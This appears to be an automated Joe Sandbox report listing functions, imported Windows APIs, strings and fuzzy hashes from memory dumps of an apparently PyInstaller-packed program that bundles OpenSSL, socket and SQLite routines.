Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 4beba02b960c9f4c122fa6b087f84ea6fe2ade67e0ecd51c72e7f47762a48d3d
Instruction ID: 50677f509f3fe0502c9133559968d4331df57f5656ab6f5dd6a059a279eaf794
Opcode Fuzzy Hash: 4beba02b960c9f4c122fa6b087f84ea6fe2ade67e0ecd51c72e7f47762a48d3d
Instruction Fuzzy Hash: A9116330F0864381F95AB3665E51239B163FFA47B0FE44338E97D466CADE2CA4415A21

Function 00007FF72C66B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF72C66B235
FlsSetValue.KERNEL32 ref: 00007FF72C66B254
FlsSetValue.KERNEL32 ref: 00007FF72C66B27C
FlsSetValue.KERNEL32 ref: 00007FF72C66B28D
FlsSetValue.KERNEL32 ref: 00007FF72C66B29E

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cda0cba1a061c727c7e2df3b5d45acc099e2ee41b4dfcb91690057491b566149
Instruction ID: 91aff1a4218b12280ddb1d21c226ababfb5afb4d7add09cf78fe9f9f70166706
Opcode Fuzzy Hash: cda0cba1a061c727c7e2df3b5d45acc099e2ee41b4dfcb91690057491b566149
Instruction Fuzzy Hash: 9C110D24A0C20785F99A72614D51179B2A7FFA5330FA4473CE97E456C2DE2DB4815A31

Function 00007FFBA6819750 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 288COMMON

Download Yara Rule

APIs

00007FFBBB593010.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00000000,?,00000003,00000000,00007FFBA6819F87,?,00000007,?), ref: 00007FFBA6819917

Strings

column%d, xrefs: 00007FFBA6819925
%.*z:%u, xrefs: 00007FFBA68199E6
rowid, xrefs: 00007FFBA68198A8

Memory Dump Source

Source File: 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFBA6790000, based on PE: true

Associated: 00000008.00000002.1952109608.00007FFBA6790000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F1000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA68F3000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952154128.00007FFBA6908000.00000040.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952472915.00007FFBA690A000.00000080.00000001.01000000.00000011.sdmpDownload File
Associated: 00000008.00000002.1952519785.00007FFBA690C000.00000004.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6790000_program.jbxd

Similarity

API ID: 00007B593010
String ID: %.*z:%u$column%d$rowid
API String ID: 2201947777-2903559916
Opcode ID: f02188dde1f8f14deee468423fab8d44e2239df53a6eea34a2b0af57ff28faf2
Instruction ID: 7e145d5e000f09ff6b7166d43e7801cc0ba390ea44c02086f0ed5d9af1479cf5
Opcode Fuzzy Hash: f02188dde1f8f14deee468423fab8d44e2239df53a6eea34a2b0af57ff28faf2
Instruction Fuzzy Hash: 08B1BBE2E1A68286EE669B25D4103B967AAEF41F94F4941B7CE5D073D5DF3CE805C300

Function 00007FF72C665FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C665FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C666106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6661BC

Strings

verbose, xrefs: 00007FF72C665FB0

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 4d3c2c19871df30d0da8be690ca060c8999831cb4cf82644c868f4712a798c62
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 0591F532A0CA4641E722AE29EC5037DF6B6FB60B64FE44139DA5D433C5DE3DE4458B20

Function 00007FF72C66FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C66FEA7

Part of subcall function 00007FF72C667A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C667A59

Strings

UTF-8, xrefs: 00007FF72C66FE26
ccs, xrefs: 00007FF72C66FDE2
UTF-16LEUNICODE, xrefs: 00007FF72C66FE45

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 9168ac49bc1544466ca037400ab4dc9444bc15183802600d0e4d9c06423c100f
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: FA819672D081429DE7667E25C910379B6F2FB31768FF54039CA0997285CF2EB9019B23

Function 00007FFBA60BF070 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

00007FFBC92F08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFBA60BF127

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFBA60BF0B2, 00007FFBA60BF0DC, 00007FFBA60BF19A, 00007FFBA60BF1BE, 00007FFBA60BF1DE, 00007FFBA60BF316
ssl_get_new_session, xrefs: 00007FFBA60BF1D2, 00007FFBA60BF30A
SSL_SESSION_new, xrefs: 00007FFBA60BF0D0, 00007FFBA60BF18E

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\ssl_sess.c$SSL_SESSION_new$ssl_get_new_session
API String ID: 3568877910-2527649602
Opcode ID: 81de3dcb5b9a74f6d10349495346cbec55276295be6eb05afdb2b4af8c059850
Instruction ID: f164eb6814137803d93ab1524a293e4f80d259013c2e016bacde8f3ffd43316d
Opcode Fuzzy Hash: 81de3dcb5b9a74f6d10349495346cbec55276295be6eb05afdb2b4af8c059850
Instruction Fuzzy Hash: 7471B0E1B0AAC292EB56DB35D4913BD2653EB84F84F449035DE1D8B796DF3CE4A18300

Function 00007FF72C65D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72C65D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF72C65D70A
RtlUnwindEx.KERNEL32 ref: 00007FF72C65D764

Strings

csm, xrefs: 00007FF72C65D6F1

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: b353b5b21308d8c34528948bb3da8c03ed2b24e3718d2fcd16a3f259ff3d6573
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 13519136A196028ADB16EB15D944A7DB792FB64BE8FA04130DB4D477C8DF7CE841CB10

Function 00007FF72C65EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF72C65EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF72C65EF83

Strings

MOC, xrefs: 00007FF72C65EF4B
RCC, xrefs: 00007FF72C65EF53

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: c4a12d63d9c9e1749a6b0f7ed45af4343cb6e5eddea43c0770adb01e305bf7a3
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: C2619E32908BC585EB31AF15E8403AAB7A1FB957E8F544225EB9C03B99DF7DD090CB10

Function 00007FF72C65F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF72C65F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF72C65F398

Strings

csm, xrefs: 00007FF72C65F3EA
csm, xrefs: 00007FF72C65F2D2

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 48c74187229be5f65c86340b6f42d7d27ce04f4ff2c29b7c0277e5e36e681679
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 6951A4326082428AEB65AB21D94427CB792FF64BE4FA44135DB4C43BC6CF3DE450CB56

Function 00007FFBA41721E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA417220A
00007FFBC92F6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBA4172228

Strings

HANGUL SYLLABLE , xrefs: 00007FFBA4172200
CJK UNIFIED IDEOGRAPH-, xrefs: 00007FFBA417221E

Memory Dump Source

Source File: 00000008.00000002.1949490443.00007FFBA4171000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FFBA4170000, based on PE: true

Associated: 00000008.00000002.1949454231.00007FFBA4170000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41BA000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41C8000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421F000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949749489.00007FFBA4220000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949783531.00007FFBA4222000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba4170000_program.jbxd

Similarity

API ID: 00007F6570
String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
API String ID: 118773457-87138338
Opcode ID: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction ID: d7a16e34eeaa8fe24f153d8dbe075dd92e105d838e28e21600838a6dd6b4e54c
Opcode Fuzzy Hash: a963b875801d9843ea49cd289ad9d5ca77fa3890532c8e824ee28ee48ef07934
Instruction Fuzzy Hash: 3641C5B2B0A642C6E7229B25E4842696B51EB90794F544230EF5947EF9DF3CE5068F40

Function 00007FFBA60919DD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

00007FFBA6164D31.LIBCRYPTO-3 ref: 00007FFBA60D21AB
00007FFBA6164D31.LIBCRYPTO-3 ref: 00007FFBA60D21ED
00007FFBA6164D31.LIBCRYPTO-3 ref: 00007FFBA60D222F

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FFBA60D229E, 00007FFBA60D22B0

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007A6164
String ID: ..\s\ssl\tls_srp.c
API String ID: 2890651461-1778748169
Opcode ID: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction ID: 2a913265f873bb001c7c1028b0ea939e71ada15abaaf031b4ec98a8a521fbde5
Opcode Fuzzy Hash: 5de455a0e33419aeed79645b2a849e8fb5092a76a7a5c4db12254346f5210564
Instruction Fuzzy Hash: 0C4194E5E1BA83D4FEA39F71D49037822A2AF51F88F194634DE1D4B789CF2CA8518310

Function 00007FF72C657E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF72C65352C,?,00000000,00007FF72C653F23), ref: 00007FF72C657F32

Strings

%.*s, xrefs: 00007FF72C657EEB
\, xrefs: 00007FF72C657E97
%s%c, xrefs: 00007FF72C657EA4

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: 3ab870406fbb125b25def75207c35beec4136f729361646222f73b7df737d243
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: EC31E921729AC145EA32AB10EC103AAA256FF94BF0F900630EB6D437C9DE2CD205CB10

Function 00007FFBAA492940 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetComputerNameExW.KERNEL32 ref: 00007FFBAA49297D
GetLastError.KERNEL32 ref: 00007FFBAA493A26

Strings

socket.gethostname, xrefs: 00007FFBAA492955

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ComputerErrorLastName
String ID: socket.gethostname
API String ID: 3560734967-2650736202
Opcode ID: 617a79839054c1372f9b5dcd0bed18d2927316b1072d0d7780bbcd75c64f5621
Instruction ID: 514bcb732f33c75593ab8443702302d79d34c7a8deacfdfe5c0ab9b1cfcefea6
Opcode Fuzzy Hash: 617a79839054c1372f9b5dcd0bed18d2927316b1072d0d7780bbcd75c64f5621
Instruction Fuzzy Hash: 2A3121A5B0E642C2F6268B31E8D427E63ADFF89B95F440075ED4E42765DF3DE0268620

Function 00007FFBAA498360 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

inet_ntop.WS2_32 ref: 00007FFBAA498425

Strings

iy*:inet_ntop, xrefs: 00007FFBAA498381
unknown address family %d, xrefs: 00007FFBAA49848D
invalid length of packed IP address string, xrefs: 00007FFBAA4983AF, 00007FFBAA4983E9

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: inet_ntop
String ID: invalid length of packed IP address string$iy*:inet_ntop$unknown address family %d
API String ID: 448242623-2822559286
Opcode ID: 08a000b3334927d59a117a8bb923774045009f39c870e28a4b7b73a9ae5cd575
Instruction ID: 121af9d5ad79ef54ad1d3e37c0994d36d2ce1f0489c061aa85d03bdc1970b15d
Opcode Fuzzy Hash: 08a000b3334927d59a117a8bb923774045009f39c870e28a4b7b73a9ae5cd575
Instruction Fuzzy Hash: 45311CA1A1E983C1FA628B34E8D46BD2368FF84B44F500471ED4E83675DF2DE46A8761

Function 00007FFBAA495BA8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

getsockopt.WS2_32 ref: 00007FFBAA495C17
getsockopt.WS2_32 ref: 00007FFBAA495C6A

Strings

ii|i:getsockopt, xrefs: 00007FFBAA495BC8
getsockopt buflen out of range, xrefs: 00007FFBAA495CAD

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: getsockopt
String ID: getsockopt buflen out of range$ii|i:getsockopt
API String ID: 3272894102-2750947780
Opcode ID: 8c8cce7771d3f24cc9ac2e410138943029079e80a9b5900f9f3c000819b3f68c
Instruction ID: 24ea6b1481d077c655b0aa536ddd69d64b3e57bf30ccc5278e7969774aac167c
Opcode Fuzzy Hash: 8c8cce7771d3f24cc9ac2e410138943029079e80a9b5900f9f3c000819b3f68c
Instruction Fuzzy Hash: 42310AB2A1AA46C7EB158F34E4C056E73A8FB84B44F600179FA4E42764DF3DD46ACB50

Function 00007FF72C652810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF72C6528EA

Strings

Error, xrefs: 00007FF72C6528DD
[PYI-%d:%ls] , xrefs: 00007FF72C652868
ERROR, xrefs: 00007FF72C65286F

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: efc2cc75949c28834838293192019e9b07c730c3f009e7eae94369211073c948
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: 2E21F332708B4192E711AB54F8453EAB3A1FB98790F800136EA8D53659DF3CD259CB50

Function 00007FFBAA497AA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32 ref: 00007FFBAA497B44

Strings

socket.gethostbyname, xrefs: 00007FFBAA497AFD
et:gethostbyname_ex, xrefs: 00007FFBAA497AD9
idna, xrefs: 00007FFBAA497ACF

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: gethostbyname
String ID: et:gethostbyname_ex$idna$socket.gethostbyname
API String ID: 930432418-574663143
Opcode ID: 763fd7e5a6e8485f873114a20fb6e7adcccc8433eb82f096b660c8048ead8007
Instruction ID: f5e9d5a376c2f645ccf1f14efd89d1a6079768f8f7a2d66662487130bd58e3e7
Opcode Fuzzy Hash: 763fd7e5a6e8485f873114a20fb6e7adcccc8433eb82f096b660c8048ead8007
